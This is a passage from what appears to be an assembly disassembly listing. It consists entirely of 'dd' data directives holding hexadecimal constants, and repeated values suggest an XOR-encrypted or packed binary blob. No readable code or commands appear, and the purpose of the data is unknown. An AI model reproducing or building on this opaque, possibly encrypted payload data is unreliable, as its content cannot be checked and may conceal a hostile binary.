0B66FEF25h, 5F8563A8h, 56E13EC5h dd 0F7CC4E69h, 0B5427207h, 7D6E63A8h, 0B66B98C9h, 0B1E5E3A8h dd 1FCE36A8h, 366E63A8h, 0C3621975h, 0B66EFD34h, 958C51A8h dd 0B556F082h, 43EE63A8h, 317767F6h, 0B66E63ACh, 0B363E428h dd 0DE79E357h, 987763A8h, 2F35E25h, 9357B95Dh, 5E48F028h dd 31772CF9h, 0B66E63BBh, 0B076F5D0h, 3D612975h, 366E63A8h dd 31772CFAh, 0B66E680Dh, 0AD76FDD0h, 0B66E675Dh, 0AF482928h dd 0B66E6335h, 958C51A8h, 95B56983h, 0B6ADE357h, 987763A8h dd 0CAC12A25h, 62BD3651h, 94B6AA57h, 0E0F1FDEBh, 0CA675D75h dd 2457B951h, 0B0142CD0h, 0E0604335h, 12FDBBE7h, 0AFFCDBF6h dd 0B66BCA35h, 606092A8h, 0B6AD8EAFh, 9BFC63A8h, 1ECE36A0h dd 366E63A8h, 0C36E6775h, 0B66F3834h, 0F2BD36A8h, 0B36419ECh dd 0DFE063A8h, 0B18E91C0h, 14F2FDEAh, 9CCC2BD5h, 5B48473Bh dd 5A7764B0h, 0B66E6815h, 5A77CF10h, 0B66E6743h, 0DE484228h dd 696168CDh, 146E63A8h, 0A872645Dh, 0B6622DB1h, 0C38EBDA8h dd 0F56E5FB4h, 0B18EB9FFh, 5F1AF4F6h, 25F337E8h, 0C36E63A8h dd 0F61AF42Eh, 0B00AE5C3h, 9967512Eh, 0B7A7B929h, 0AF4D3CD0h dd 0E0600A35h, 0EB9C7E7h, 9C028BC2h, 57FEADE5h, 32C23862h dd 97850FC1h, 0B66E61B0h, 4A8C5DA8h, 6A85380Eh, 635B0EE5h dd 78046422h, 0A77072ADh, 15E18AFBh, 761490F8h, 0E56E6746h dd 0DE4CB421h, 0D8E422A8h, 8EE180FAh, 49A4ACC0h, 0B59A18C3h dd 2EB5861Eh, 0A2254201h, 9D9AC0BEh, 191DF78Fh, 74F191FEh dd 1DDA2103h, 2F54BE60h, 5C3B53BBh, 0A7776223h, 0B66291E0h dd 0C36E63A8h, 0B6622B35h, 0B557F0A8h, 84AD63A8h, 0D25FF1D5h dd 0DE4D0A7Ah, 0C05363A8h, 0C4DBBBC4h, 0B66EE257h, 0B78463A8h dd 0E06768D5h, 48D64D4Bh, 0F66D8101h, 87368A26h, 0D83DD39Bh dd 0CE01C0A7h, 0A56A0764h, 5A46D19Bh, 7D114161h, 0A3A9B58Eh dd 0F4A29DC2h, 6916573Bh, 983DD7DDh, 0A53DD662h, 0A53C6B9Bh dd 89E8D39Bh, 0A53EAD05h, 0A221069Bh, 0AE3DD39Bh, 0A56ACE61h dd 1B7AD39Bh, 407BE46Eh, 5CA4AEBh, 98E41495h, 0A53D5D0Fh dd 0A8A8D09Bh, 9F11D39Bh, 369FB1A1h, 44706123h, 568990BFh dd 0B118E100h, 2310BE92h, 5AC35BC8h, 0A8ADCF57h, 2051D39Bh dd 0BCF2E760h, 37DE2B02h, 9084587Bh, 0DD60D389h, 0E0413111h dd 0A60F0208h, 0F9AEA360h, 0A53DD6BCh, 9C15C808h, 9D942C4Ch dd 0B3C7C664h, 0AF641F08h, 6ED0D80Ah, 4DB806B5h, 983DD39Bh dd 31D3709Bh, 3C94F862h, 50890F98h, 0DC6F8461h, 98443193h dd 7E30D39Bh, 0AC3DD39Bh, 166ADF07h, 0D8659794h, 0FC1AEB5h dd 99DE0497h, 0DDD5039Bh, 0D03DD394h, 0A53E3C6Bh, 0AE91B19Bh dd 92FA3CF9h, 9CC39F40h, 5C59E3A2h, 0D6183EEBh, 0AAE477E8h dd 0A75DCF02h, 0C661D39Bh, 2A0B3228h, 0AB4A0545h, 0F1623654h dd 0BB336B0Fh, 0CD32D394h, 5AD1EC0h, 0A92E1CBEh, 30596229h dd 1C501292h, 27E3FE20h, 0DF4A00C5h, 78F71166h, 934A3362h dd 94970B4Bh, 0DF4ADB8Fh, 56F711C9h, 29A2845Dh, 6A3F8D8Fh dd 0E026B64Ah, 0CBE9DBBDh, 7FC341F8h, 0BA5077Eh, 0F90F47C0h dd 0A78D33B5h, 8F082617h, 0DDD261E2h, 0B24A00C6h, 0F5297D48h dd 0E08DD895h, 4D4A00C6h, 0DA02C0AAh, 0D00E0FACh, 0C64ADB99h dd 8F0E3FFEh, 0EA02AAE2h, 0E00E124Fh, 104ADBBDh, 4B9B18CFh dd 0B53602E2h, 904A00C6h, 1E113052h, 7A0E1365h, 0DCD62DC5h dd 0FF4A00C6h, 0A7989DC4h, 5FB6EB0Ah, 0C1B6EA22h, 684A00C6h dd 92239DECh, 2312B8FEh, 4E559A33h, 2B82FA9Eh, 2654FC7Ah dd 0D17C5B29h, 0B6ACD6BEh, 0E0B0B7FBh, 57AA00C6h, 9C8D657Ch dd 5736CC81h, 0E08ACC81h, 0A575DBBDh, 3313E47Ch, 3023C058h dd 0C8C986CFh, 0DF4AD937h, 0B26855C6h, 0BD0E0FBBh, 4BE91E68h dd 0F59B37E2h, 4B26F0CFh, 4F556E2h, 35A767F3h, 0B672E7CAh dd 0B568852Ah, 0AEB8E483h, 74ED890Eh, 2CF07844h, 35DAC319h dd 4C2CBD1Ch, 0F7F966AEh, 4EE5661h, 0C6E9B57Fh, 0F77E0B64h dd 78BEE1BDh, 9FE8FFA4h, 0BCDA8A52h, 0B7FCFC6Bh, 0D4680522h dd 57137A59h, 5698DF4Fh, 1D7A1F9Fh, 54C3C429h, 40EDE239h dd 19F0FA14h, 5BD1DC57h, 0A39D3BC0h, 8DE8A5B5h, 76CC03FBh dd 4C9D1771h, 921BF518h, 7EF42A28h, 0F121944Ah, 5AD6BF18h dd 120CBD2Dh, 0B37921CEh, 0E9A08ABAh, 0E9A7DA8Bh, 120CBFDAh dd 9E79227Ch, 0A32940F0h, 0D8309618h, 12CABE05h, 1212753Dh dd 2ACBD2Eh, 0AB9802FFh, 0B3859920h, 12619AD1h, 63C3BD2Eh dd 0C06451EEh, 1607425Ah, 9DB54B14h, 0BC4553ACh, 0F12190ABh dd 120CBD2Eh, 5AD3BF18h, 120CBD2Dh, 0AA46D4CEh, 0E9A702ADh dd 0E9A7DA8Bh, 120CBE08h, 0A846DA6Dh, 3CDF1D00h, 3B7BF8AFh dd 440CBD2Eh, 3FDA7F28h, 2CD81F9h, 0E9DBD71h, 0F121AA87h dd 28BAB593h, 0DCF961Fh, 0F121B6C3h, 46C4D83Bh, 6DCF961Fh dd 0F121AC8Bh, 5AB7BF18h, 120CBD2Dh, 9E7920CEh, 0E85A22BAh dd 0E9A7DA8Bh, 120CBFDFh, 94792389h, 0C67BA840h, 0D0C8D19Bh dd 121D76E3h, 4F60BD2Eh, 9D85587Ch, 0EB2736D5h, 0F2B4BAFEh dd 6DCFBF18h, 0F1219183h, 24A7EB5h, 1EC4B0C8h, 0AAAB8647h dd 93F09229h, 1737A82Ch, 6C86162Ah, 0DDD7724Ch, 0D0A1C8B7h dd 183F8323h, 90FF37ABh, 198E703Eh, 483731BFh, 53EC1DCAh dd 0E96866h, 0BCB33235h, 6667218Ch, 15C85CF7h, 524343E7h dd 17708C08h, 475F4B3Ah, 0C7D1C873h, 0A32BBBFDh, 0BC174A68h dd 6D2CC8DBh, 0C8E98514h, 132E0D87h, 0FC8A2ABBh, 0BF4F2937h dd 2633832Ah, 0A3A379BEh, 0A3A24DF6h, 0BF4F1B0Eh, 690D4785h dd 98FBB4DFh, 449D95A0h, 5207543Eh, 91E65389h, 9F4F2A8Ah dd 93BD23A7h, 0DF05AEA5h, 5005AEADh, 504F2A89h, 4972688h dd 9AE0E999h, 0E119917Eh, 0EB1D50F9h, 0A3F2C93Eh, 0F852BD89h dd 0E5D61006h, 0EB1320F9h, 0BF4F293Eh, 0DBB6538Ah, 0CCF7ECB8h dd 9E5DBB7Ch, 0A4651169h, 0C0F52159h, 0CC6F2A8Ah, 65803138h dd 8C80F15h, 0A4CA0F16h, 0D40F2A89h, 23CAD139h, 0A46A7142h dd 3C542A89h, 56AB2DF8h, 51494E47h, 0A390E4A9h, 7A899B7Dh dd 0DDB21169h, 0BF4F2937h, 0CD3BC7E7h, 0A46517AFh, 0CB19B7Ch dd 0D1EE116Ah, 0E298207Fh, 184B0531h, 33E55E90h, 0ED75F0FFh dd 3D5F772h, 8 dup(3D521E7h), 7681AE7h, 0FC7E21E7h, 0EF4595B6h dd 0EE53753Eh, 4C54F920h, 0EFAFCE6Eh, 732DA650h, 4D92F96Fh dd 0ED02E473h, 5C3E080Ah, 3D5259Eh, 0F4E32EE7h, 0EF45C58Fh dd 0EE525076h, 0CE66F920h, 322FD09h, 171CE7h, 49C48FDDh dd 0A585BD46h, 0E39726DBh, 9328237Ah, 8FFDD14Ah, 3D5F8D7h dd 322D2BFh, 4261AE7h, 0C4EC21E7h, 322E582h, 6E6B97E7h dd 0C75D6AB6h, 2DE3D4h, 0EF4595B6h, 88FF753Eh, 554AF91Eh dd 3B90A471h, 16A7F0C6h, 776BA657h, 6554F96Fh, 0F8B3EE22h dd 0CE673775h, 3D5236Ch, 0F41520E7h, 3D5208Fh, 322D2BFh dd 0BC68F0E7h, 0CBFB4C23h, 7657999h, 0E5A221E7h, 32F8B82h dd 543D2EE7h, 0B8433A46h, 84E00AD4h, 77FB2EECh, 0C750E50Eh dd 0BDFE89D4h, 0CBDA5DADh, 1CD520F6h, 615CC603h, 8191FA8Bh dd 47FEFB0Eh, 0C81778DBh, 0CBFB2ED4h, 39EF520Fh, 30E764DBh dd 0CAFB2D05h, 0A1D52024h, 22DAFEF5h, 0E3D520F6h, 81DAAF2Fh dd 4C66D461h, 7D66D411h, 59D520F6h, 0E48CB008h, 7F08091Bh dd 20E75F9Ah, 0FAFB319Fh, 0FED521E7h, 0A59AEAB8h, 5C2F97DBh dd 32F709Eh, 0E30B01E7h, 588A7BB2h, 58B152D2h, 32F99D2h dd 0CFBC92E7h, 91FE22C2h, 8EECBF83h, 0A02C5DB3h, 0EFAFD0B2h dd 0EC252061h, 3D520F5h, 5F313087h, 0F883B45Bh, 0F883B453h dd 3D5F8AAh, 0D5313027h, 792D99D4h, 729F8648h, 3F07A80h dd 1CDE21E7h, 0DED520F6h, 8B6E80Ch, 367DDCB2h, 975E390Dh dd 0BEEFF5A5h, 0A0281F7Fh dd 0EFA2F22Ah, 2729603Eh, 96CB2A5Eh, 0F7213D16h, 5C3CE61Dh dd 0B565DA3Bh, 373A43EAh, 9D2B28F5h, 9CAB16ADh, 0BA141B6Bh dd 0C429A5DAh, 0F7403B32h, 40F8EDAAh, 931F4632h, 0EE6BB8C5h dd 0E1717A9Bh, 0B939991Eh, 3B703070h, 0BCBEDB49h, 33A8E857h dd 61487745h, 139770CDh, 0D6AF1D79h, 957285F9h, 0CA8E2450h dd 0D7C38F0Dh, 7BCF4438h, 50876926h, 0E437F752h, 1ACE1C97h dd 71E55D7Ah, 0E6B4C66h, 2A60393Bh, 0AA0F8DD7h, 0CD1B8D38h dd 0FD254438h, 0A03F9928h, 57880E7Bh, 7F186B11h, 0E047F0ECh dd 0F0CF4438h, 0E1CB9B94h, 0F552AF38h, 12244A6Bh, 0DA9F9735h dd 5F392B31h, 2E0A21D9h, 37193F80h, 2A0CFB52h, 37CF0230h dd 0B1736EB5h, 2A603924h, 0DBFD6E8h, 0CD658E14h, 0C0F94438h dd 0A0C7F3CBh, 0B649F067h, 9ECF4438h, 61F1F594h, 0E1CF46CCh dd 148A700Dh, 2D7052DCh, 4AE47606h, 0B4F9F48Bh, 9302213Dh dd 7927EFF2h, 16C982D1h, 3DD3C546h, 0F0FA9755h, 0E1C8A190h dd 6976FB38h, 62603924h, 0E1CF4501h, 3BF2A2CAh, 0E73099DCh dd 298D00DCh, 0D8C766D5h, 0A5CF4438h, 0C70DD06Bh, 8CA8D59h dd 0C3C76981h, 69FA9713h, 9BDA896Dh, 53060BBFh, 5245FE93h dd 717A8D9Dh, 87941B55h, 8B586659h, 4A1CC51Dh, 29442255h dd 5F308787h, 5810F52Bh, 94484F92h, 1440D1F3h, 0F592BD0Bh dd 714424FEh, 3134B3A1h, 7B4C0CB8h, 71796B45h, 5AB92255h dd 4D972416h, 8587CB55h, 0F872E620h, 43A5A00Bh, 0E472E6FBh dd 696422C9h, 0DA49F718h, 524BF232h, 1FBE7Ah, 0C544224Dh dd 9ACE7B3h, 71436A62h, 0F28E2B9Bh, 397EF775h, 0ABCDF5B3h dd 0DDF5B3AAh, 0A742DC93h, 39C4FDDAh, 51628FBBh, 4F442255h dd 44A938D0h, 0B2760593h, 0A4B7D6F2h, 0D7E7A236h, 0E6005137h dd 0B2B3CFCAh, 0C1EE6CF0h, 0BCC77745h, 0D472E7F0h, 0D5F0DA13h dd 0A775F8C8h, 71442082h, 8C04CC55h, 0D535AD28h, 0ED3D224h dd 0EF83948h, 3C3B4888h, 901BA590h, 0BA2D9F5Ah, 44B3F93Eh dd 880E6B19h, 0F67F9438h, 0DEDC4069h, 0B08AD24Ch, 6C44224Dh dd 35DB0B1Ch, 2FDB0E98h, 3CB5078Ch, 5FE992BBh, 0F6229303h dd 0F9013902h, 0D7AD71C6h, 5FB58EC6h, 0FBD4F403h, 3D982Fh dd 71C2B6A6h, 5C3C038Ch, 96FB948h, 59AF5D1Bh, 0B0E5BA85h dd 350D732Bh, 5FE98A6Dh, 0B6F7303h, 0E902F8FEh, 99374BAFh dd 350930F1h, 99757303h, 3349A0Fh, 50C2B6A4h, 0AC5F5D1Bh dd 5FE9BA86h, 63C47303h, 60DC9C0Ch, 788CB1A2h, 328FAB1Fh dd 5FE98A6Dh, 0B6F7303h, 0E902F8FEh, 99374BAFh, 353B30F1h dd 99757303h, 149BE90Fh, 32ADB49h, 50A2C88Dh, 8A7D1289h dd 22897C2Ah, 208225C4h, 0CEA49A43h, 2A551ED5h, 1BD37E78h dd 0C51EA7D2h, 1041D3B6h, 0F2B1A2F4h, 9E5EE04Eh, 0AD8BF068h dd 33B0201Eh, 272CC024h, 0A833B2EAh, 1E40D5BBh, 93AC28B9h dd 1B2BE2A4h, 0F18C7800h, 9CC21052h, 42D3B66h, 97496B94h dd 8627FCEh, 1E0A68AFh, 1F461C8Dh, 9D3E37ACh, 34B7C058h dd 2A760911h, 4F5249EEh, 0D57F3457h, 1B13EC4Ah, 74D22F9Fh dd 4C107F5h, 2EDBE2ADh, 79F08E8Bh, 0FC489C25h, 5176413Dh dd 9C44F0E5h, 73F08EACh, 3D5FA731h, 0A7336EF2h, 0F4F766Eh dd 21CA0509h, 3CD85CFBh, 0AC75A447h, 8C3AE745h, 0A5EED4Ah dd 26AE58A8h, 6A336E23h, 89F0ADD1h, 15B405F7h, 8CBA5B2Ch dd 0BCEC7EC2h, 96FAAD0Ah, 42D3CB3h, 0C1E0161Ch, 4D172F87h dd 562D37ACh, 143592D7h, 0C847AA6Ch, 0DA3163FCh, 8E7735ECh dd 0BC7579B9h, 8CBA5B20h, 46A986Ah, 6C55A00Ah, 6CD76394h dd 52621322h, 0D4DDC434h, 0CC24D1C3h, 78A270C9h, 0FE0D72B0h dd 6EB404E5h, 51BE885Ch, 0A3BDDF35h, 940D72CBh, 5775CC33h dd 38D5F8B4h, 0ED798765h, 5737EFA4h, 0E4C393A7h, 0DEBC5CA5h dd 5D6D72B0h, 2A59C3B6h, 0C8DDEFCCh, 0DE92EFD6h, 81FE72B0h dd 25C525B5h, 1BDC9AB2h, 0E9D3B2DBh, 290B07E0h, 973C3A3Bh dd 1ED9C6A6h, 8B0D73E4h, 2D261A59h, 873C3A3Bh, 0DED9C53Fh dd 0CC0D72B0h, 78A16FC9h, 0FE0D72B0h, 6C57CC2Ch, 51BDE0A4h dd 0A3BDDF35h, 0B30D72CBh, 4E52AD66h, 41440160h, 0AE0D72CAh dd 54B31057h, 91CA3628h, 60EBE44Dh, 0AAFC175h, 0CCD9C521h dd 78ACFBC9h, 0FE0D72B0h, 6D4BCC58h, 51BDE004h, 3CBDDF35h dd 970D72CAh, 0B8E4AEE2h, 0AEDCBDF6h, 5730D0D9h, 9927F5E5h dd 8753DC9h, 0E4C39750h, 0DEBC5CEEh, 3E6D72B0h, 0D3A724B6h dd 0C8DDEFD6h, 0DE9CEFD6h, 4EFF72B0h, 7F415AB6h, 0F154F2E7h dd 9B24F886h, 4B0F50AEh, 819A1634h, 0CCDF5BCh, 523090EDh dd 0A1858866h, 37D09CAAh, 9E3AF48Bh, 3428A21h, 0AA9C7646h dd 0F514E698h, 37D01742h, 0FF2314C6h, 2B0FCE62h, 0DCD0BD8Bh dd 0FAD089ABh, 0E3E08A89h, 0CFFECB3Ch, 68557A8Bh, 426629D0h dd 37D7DAF7h, 0CEE0CC8Bh, 0D42604FDh, 5D84510Bh, 0DB2D0EADh dd 75A14F4Ah, 0EC15FB24h, 0C9469130h, 0ABCE6F6Bh, 13D0BD80h dd 37ED5C91h, 21020EBAh, 95A1C30Dh, 843BE78h, 0D09359A6h dd 3A1EBF2Eh, 37C6585Dh, 2F36BD8Bh, 0A2AC85AFh, 0E4556008h dd 3C8A89DAh, 3F868187h, 0E0087B35h, 0B96AD785h, 0E5E28A56h dd 0C4A33A3Ch, 0BC6ACE62h, 0FB745D5Bh, 2B320F80h, 994ABD8Bh dd 8C895331h, 1335EA24h, 0C3A60F9h, 503C3A4Bh, 5036429Ah dd 5F8BAACAh, 26D0B9CAh, 49CB682Ah, 2D5B38A4h, 3DB30320h dd 0DDE04826h, 41h dup(0DDE50320h), 6C820320h, 0DD28FBEh dd 0BDBA0CDh, 0CE059A2Bh, 1331CC93h, 0A72C2E40h, 0F8D2DABDh dd 3FD2DC40h, 37A99215h, 3277E9BEh, 91D3B764h, 42758D5Ah dd 0BBF8E715h, 0DB4E525h, 4FFCDF39h, 608DBDD0h, 0DCD29CBEh dd 0D4EDFB7h, 32C4A7BEh, 1948CCADh, 0DDE462D2h, 3 dup(0DDE50320h) dd 0B0E50320h, 0DDE77547h, 0AC57218h, 0E01B3736h, 0EED36132h dd 8A7C91BAh, 0DC40DAE3h, 0A4DF80Dh, 4D673736h, 13D362ABh dd 8A7C91AFh, 0DC52B1CFh, 0BC2400Dh, 4D633736h, 0E7D362ABh dd 8A7C91BFh, 0DC52CBEBh, 4F64070Dh, 0C64F3736h, 6CD362A4h dd 8A7C91A1h, 0DC513B57h, 6219E20Dh, 0E02B3736h, 86D36132h dd 8A7CAC4Fh, 0DC45AED3h, 0BF6DA0Dh, 4D373736h, 0EED362ABh dd 8A7C907Bh, 0DC51397Fh, 0BC04E0Dh, 61F33736h, 0E6D362ABh dd 8A7C8D42h, 0DC513A5Bh, 0BF0DD0Dh, 605F3736h, 19D362ABh dd 8A7C91ACh, 0DC513C07h, 0C90F50Dh, 50FB3736h, 0D7D362ABh dd 8A7C9A13h, 0DC52B0C3h, 0BD7970Dh, 60473736h, 5B0362ABh dd 24EF4222h, 5512D62Fh, 8F713D9Ch, 7012BA35h, 1CF272D8h dd 54B59FC3h, 0E070591Fh, 0DE03A4CCh, 6010F052h, 4EC36643h dd 31EA594Bh, 3DA5B4D8h, 84BB025Dh, 0EA692C2Eh, 292564D0h dd 2473F42Eh, 140787CAh, 0ACF4E6E5h, 0FB67C6F1h, 0C309E5BFh dd 21A4619Eh, 0BA838A63h, 7337DF7h, 2EA8976Ch, 0CE72B343h dd 0ED823h, 0BE96EBAAh, 0FB9B9C32h, 0F3FD1282h, 36A1F13Eh dd 0B3E50339h, 55FE276h, 6F1DF51Ch, 0F97A446Ch, 89255160h dd 160787CAh, 9D46B3BBh, 3D5C7B8Dh, 1CB6BDEEh, 342D60F5h dd 250B724Dh, 0E5D568F0h, 8647750Dh, 0D91B66BBh, 0E6E91120h dd 614231A2h, 3100BC59h, 39D1E4CAh, 959326E0h, 7398801Eh dd 7235435Ch, 1F68B320h, 532E40F4h, 0C8E3EB75h, 2EDD9542h dd 8C46E36Ah, 274B19F8h, 4C316481h, 25078575h, 290C2FA5h dd 3F35AD6Ah, 1CEBE63Eh, 0EC05306Dh dd 0EB96F847h, 19B22344h, 0A999ECABh, 17F432FAh, 0BC0212CEh dd 8169861Dh, 67679523h, 4240D27h, 0D45EE882h, 626B78EBh dd 0B03B93Eh, 63A90631h, 9125B281h, 0DA075361h, 0AE10CE64h dd 7D0E21E0h, 726C4BE8h, 5FA63271h, 8C750320h, 0DF6A2BD6h dd 0C04A5E93h, 0E4948009h, 2E7AC434h, 75A86DBAh, 0AAB898E3h dd 39DD19EFh, 0DCAF11BEh, 0F43C6CC4h, 95EE250Ch, 0B9EE479Bh dd 9BA5719Ah, 2E45BBE1h, 22F2424Eh, 37A7C47Dh, 0B267A2Eh dd 10039488h, 0D71CD340h, 0C60EF87Fh, 0FC7F9E44h, 2FD2A2A2h dd 0F97A4376h, 46A6E6Fh, 5FEDEBB5h, 0FC4A58BFh, 0F4F48C84h dd 2EE5BB3Fh, 29F4833Bh, 0AD88F2Fh, 910B3B84h, 9053E639h dd 1C6EBD5Ch, 0B693DE64h, 762C0320h, 8AD303h, 8A8E84ABh dd 0E5CC2C7Ah, 28805EFCh, 93E0185Bh, 8442FDEEh, 525D572Eh dd 84AF1B37h, 0A8DCE22Eh, 0A111D8E3h, 281B9541h, 296C6DBAh dd 9EA606B6h, 56CF3326h, 0BCF4AB80h, 4994247Bh, 2BF1290Ah dd 3DB5DFDBh, 2C24B186h, 0F8493FBh, 0F0CA279Bh, 12DFC66Fh dd 3A837D2Bh, 0CB1BB1CAh, 5DFBB331h, 19135966h, 41017972h dd 0E1AD0320h, 3DA2316Eh, 28DFC51Eh, 82ACA8B9h, 17D28C6Ch dd 0DC2FB587h, 29F0E8ABh, 1C086F08h, 0A440E251h, 60B16F45h dd 0E0E528Fh, 0F1EE4B2Eh, 0FD257C95h, 46BBF49h, 88BF2FB6h dd 2E6D7403h, 4E59B960h, 25832211h, 0F2D2C95h, 0C7DE5B53h dd 1B935F32h, 54782AF0h, 0B268D912h, 5AC69616h, 6A0EF553h dd 2746E4B7h, 0E0FAE05Bh, 454467F1h, 0AFE7510Ah, 45F19CFFh dd 64442D1h, 5EFB6922h, 0AF0A5EF4h, 0DDE6AE1Dh, 27484ABh dd 0DD219FD1h, 0F5A7A214h, 81EB87D9h, 0D58CFB3Ah, 0F5A7732Eh dd 8232B9BFh, 5E143FA8h, 720D9853h, 0F9E95CCCh, 9DF5CD53h dd 999F9CEEh, 9BC2DF73h, 8D740F67h, 195ABC44h, 0C0D82F6Dh dd 8F7641CDh, 0F3B6DF99h, 0F8B072D7h, 458B0994h, 464202ADh dd 50C77636h, 0DDE047D1h, 0AD7B7202h, 0DE03A25Bh, 12774452h dd 0F52AA1AAh, 8CDC13D2h, 0D703C064h, 0D4F5F87Fh, 0D27DEAAAh dd 2539F95Bh, 219EF74Ch, 0D02416BCh, 797590E4h, 959326A6h dd 9117B1BFh, 2CD80507h, 84EAFF5Dh, 0EC32672Eh, 9CF36EB6h dd 8484B01Ah, 6B1E972Eh, 0F5A7A2D0h, 4F0E6D44h, 1CBA9F1Eh dd 0AE3CD225h, 0A4387DCBh, 8A0787CAh, 0BC288AFFh, 0E70E75D9h dd 0D9D34A47h, 0ACF1611h, 0F45AF2D9h, 87096A20h, 1CEB4EFDh dd 0E3BA4A3Dh, 9B7B4DF8h, 4B3DA267h, 91AC0AB0h, 77080C3Bh dd 0ACA022Eh, 8FD27269h, 6A1B0138h, 712A788Bh, 0E374876h dd 44F3EBh, 5B62438h, 0F01F9982h, 28646EE9h, 0B87749F5h dd 6256EEBAh, 84F0BF38h, 5440188h, 313D3B5h, 83F467FAh dd 0D909D1F9h, 5A06F020h, 2DD76A68h, 7F72727Bh, 4B3E090Eh dd 0D5E9BED9h, 36F13812h, 3302E23Ah, 5F7D9169h, 3302E23Ah dd 877C0250h, 387E7693h, 6BCC9DB7h, 8FE13F6Ah, 0ACB3FC2Fh dd 57B87A5Ah, 0DDE049B0h, 0DCAF17BAh, 46299EC4h, 0B57560D1h dd 99013C42h, 2EF42CD0h, 945E7F78h, 755ACFFFh, 0A5EADEC1h dd 0D0A78F98h, 0FAAD91E8h, 0D0B28E0Fh, 7EF6C8E4h, 95932682h dd 9117B1BFh, 5ECDA809h, 0B354FB53h, 39C1ACEh, 258C1A4h dd 0FE5AE73h, 0E163DBF4h, 5B4465E6h, 0ECA41A70h, 26EA598Dh dd 24BBE14h, 0B2128E0Fh, 3A70C8E5h, 2311C1E6h, 0D677ED36h dd 0EE3C6DEFh, 43FD6826h, 4961C22h, 8129DF67h, 0FD26E8CCh dd 63A86011h, 671F0AE3h, 6465C280h, 0F8ADC0BEh, 1D8D194h dd 1166C344h, 22A96FA8h, 6ABCB6B3h, 72803CCFh, 64600EFDh dd 203AF73Fh, 440883F6h, 12DB62C9h, 0AD60F254h, 0CE1DF508h dd 0ECD550D9h, 9F301BCCh, 0B409A081h, 0D7D784AEh, 6FEDFDB3h dd 84BE3359h, 0C12EAEC9h, 2A3C1648h, 0B6EEE536h, 3D787420h dd 0CCF494FCh, 45BAD858h, 0F15BF82h, 4983B1FDh, 6C853755h dd 5BDA2FDEh, 735EAC4Eh, 5BDA2FDDh, 0A37D8D4Dh, 0EC427AB9h dd 6489DB7h, 974E2D4Fh, 34A19569h, 9607857Ah, 4B07868Bh dd 1A52068h, 811B0403h, 7DF8D92Eh, 7E22E3B4h, 0D2D8582Eh dd 394C9447h, 48C5D7ABh, 99F55B74h, 0DCAD5AB7h, 8FE13820h dd 5161AF94h, 7FF8890h, 78916845h, 0BFAA8691h, 23398FAAh dd 7CD99A91h, 0D649AEC4h, 7CD99A92h, 0A2F25897h, 0B3CAEBAAh dd 58D49CFFh, 0E3747F1h, 0D3D6F3EBh, 75698B6Ch, 3C471FFFh dd 990EF921h, 0DDE00D9Dh, 674496Ah, 88EA5A62h, 0B4BBBC3Bh dd 490CA4B9h, 0C1137B40h, 0CF82CF3Ch, 0B7BA6322h, 0BEA614D2h dd 0B64E6243h, 29B24EF9h, 0E556F0B3h, 1EA5D8E4h, 0A4387CBCh dd 8A0787CAh, 9D28AFFh, 328F2863h, 5EB7E45Bh, 0D7D9E44Ch dd 90F5F953h, 5D356CE1h, 88C1923h, 38E50321h, 2E3D67AAh dd 0A67497FCh, 0D70F10C5h, 3E305D62h, 959325FAh, 9648E65Dh dd 43429569h, 98C945D8h, 1A689569h, 1DADD62Fh, 9104E73h dd 31CB9E83h, 0F58A0320h, 104212AFh, 2AB95B03h, 8FE140FDh dd 0AB3CA2AAh, 0B70F7D2Bh, 0C5D92D48h, 24E8F50Eh, 1CB6AB17h dd 699D3B02h, 0C1FE02C6h, 0DCBD7647h, 40C21256h, 5A118B62h dd 0A39509E6h, 0B25F193Ah, 83173ABFh, 0AAC8FA4Eh, 0E7919447h dd 0B7D7119Eh, 0E74B14D2h, 0EC0788DFh, 0CEF3FB04h, 287EBF48h dd 0DCDD1DA9h, 36DA7011h, 70AF14EEh, 0F76F1560h, 85D81699h dd 0DA12E62Eh, 7EFD6049h, 80F2BBDAh, 0A4F914F4h, 378AD946h dd 7E484B61h, 81619644h, 89E3878Ah, 0DAEAAD5Ch, 0DDE52DB2h dd 0EA809C20h, 40C12782h, 5A118B62h, 0D1AF9ECCh, 1CA5909h dd 0E3746A1h, 361AF3EBh, 5A568B24h, 0B5A63348h, 849E71E5h dd 0F9DB0730h, 8CAF3439h, 0EBF46379h, 6A3E1B1Ah, 250DEDB4h dd 0D403739Ch, 0B5A8130Fh, 29655ECAh, 0EAE48F52h, 0E3722782h dd 8BEB4C65h, 0D4A7EFA8h, 65508FD9h, 0ABA9D073h, 0AF18AA2Ch dd 6D60EB2Ch, 38A877C1h, 65C2BD0Ch, 0CF313CDh, 50488D69h dd 0FD23A192h, 35EEE270h, 7F72A6F2h, 8FE40FAFh, 1E78945Fh dd 0A69DE0EDh, 833AA700h, 0C9597C1Dh, 0B3F30562h, 9ECD3D15h dd 9015F7F7h, 28BC945Fh, 7C18A893h, 0A86D7E24h, 0BE957D75h dd 0E0F48B62h, 0F14E12D1h, 0BDC46AAh, 0F0D93190h, 6F3E90h dd 36DDF951h, 250E3F11h, 0B4FE087Ch, 0DBF47FA6h, 3086B06Ah dd 955B42DCh, 94D98DCFh, 0C17189E5h, 0E2DC5643h, 152CDC46h dd 8BE64895h, 0F446009Fh, 0FCA4F32Eh, 0D656CD49h, 0A87751B3h dd 0D342FE5h, 0CB37C683h, 0E83912FBh, 7811AC71h, 175CFC4Dh dd 0DC5F2BFAh, 9CA80320h, 69F91469h, 9AC084E9h, 0C590DC61h dd 0A85056E1h, 67458D30h, 31310D83h, 5AB1E301h, 783A310Ch dd 0F8F15E7Ah, 34E3EDA9h, 64BDE7A5h, 0CC4592FBh, 0F9C71923h dd 4E504EFh, 959326E8h, 81C11039h, 550787C9h, 0CF300F10h dd 32AB3620h, 6787B84Dh, 78694CBFh, 0ACFE6E0Bh, 0B8CD6C7Bh dd 0D986F611h, 572FCA81h, 0C76FF725h, 98BE8078h, 0AEC80167h dd 0DCD0C548h, 89210320h, 1CF090F8h, 79EC902Fh, 66E9AC3Fh dd 350EF321h, 987C5EC7h, 5A286379h, 52D61853h, 5E0240F3h dd 9BBDC1ABh, 9D908ACAh, 94EFF25Fh, 2C0A94E5h, 94EF28F1h dd 15FB51E5h, 3916DDA5h, 1A1DAFAh, 4C651FC1h, 0D91B7EA8h dd 0AF029320h, 28255218h, 71F48B4Ch, 0C1112F31h, 0E7CC10AAh dd 7D8DFC3Ch, 64BEC621h, 886D6A58h, 4F5A9EFDh, 6C7F2E02h dd 732BE93Ch, 0DAB9D1DAh dd 250E930Dh, 3648E6A8h, 43429DB7h, 24A0D0E6h, 823960CDh dd 7B306C83h, 620D3588h, 3BDE8AA9h, 288FC0E6h, 250EC886h 